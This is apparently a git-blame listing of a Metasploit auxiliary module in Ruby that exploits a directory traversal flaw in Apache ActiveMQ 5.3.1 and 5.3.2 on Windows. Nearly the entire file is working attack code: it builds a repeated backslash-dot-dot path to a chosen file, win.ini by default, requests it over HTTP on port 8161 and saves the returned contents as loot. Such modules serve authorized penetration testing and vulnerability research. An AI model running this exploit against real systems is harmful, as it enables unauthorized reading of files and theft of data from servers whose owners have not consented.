2012-10-14 20:30:38 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-10-14 20:30:38 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2012-10-14 20:30:38 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Auxiliary::Scanner
|
2012-10-14 20:30:38 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Apache ActiveMQ Directory Traversal',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a directory traversal vulnerability in Apache ActiveMQ
|
|
|
|
5.3.1 and 5.3.2 on Windows systems. The vulnerability exists in the Jetty's
|
|
|
|
ResourceHandler installed with the affected versions. This module has been tested
|
|
|
|
successfully on ActiveMQ 5.3.1 and 5.3.2 over Windows 2003 SP2.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'AbdulAziz Hariri', # Vulnerability discovery
|
|
|
|
'juan vazquez' # Metasploit module
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=895' ],
|
|
|
|
[ 'URL', 'https://issues.apache.org/jira/browse/amq-2788' ]
|
|
|
|
]
|
|
|
|
))
|
2012-10-14 20:30:38 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(8161),
|
2014-09-04 22:03:21 +00:00
|
|
|
OptString.new('FILEPATH', [true, 'The name of the file to download', '/windows\\win.ini']),
|
2013-08-30 21:28:54 +00:00
|
|
|
OptInt.new('DEPTH', [false, 'Traversal depth if absolute is set to false', 4])
|
|
|
|
], self.class)
|
|
|
|
end
|
2012-10-14 20:30:38 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run_host(ip)
|
|
|
|
# No point to continue if no filename is specified
|
|
|
|
if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
|
|
|
|
print_error("#{rhost}:#{rport} - Please supply FILEPATH")
|
|
|
|
return
|
|
|
|
end
|
2012-10-14 20:30:38 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
travs = "/\\.." * (datastore['DEPTH'] || 1)
|
|
|
|
travs << "/" unless datastore['FILEPATH'][0] == "\\" or datastore['FILEPATH'][0] == "/"
|
|
|
|
travs << datastore['FILEPATH']
|
2012-10-14 20:30:38 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("#{rhost}:#{rport} - Sending request...")
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => travs,
|
|
|
|
'method' => 'GET',
|
|
|
|
})
|
2012-10-14 20:30:38 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if res and res.code == 200
|
|
|
|
contents = res.body
|
|
|
|
fname = File.basename(datastore['FILEPATH'])
|
|
|
|
path = store_loot(
|
|
|
|
'apache.activemq',
|
|
|
|
'application/octet-stream',
|
|
|
|
ip,
|
|
|
|
contents,
|
|
|
|
fname
|
|
|
|
)
|
|
|
|
print_status("#{rhost}:#{rport} - File saved in: #{path}")
|
|
|
|
else
|
|
|
|
print_error("#{rhost}:#{rport} - Failed to retrieve file")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
end
|
2012-10-14 20:30:38 +00:00
|
|
|
end
|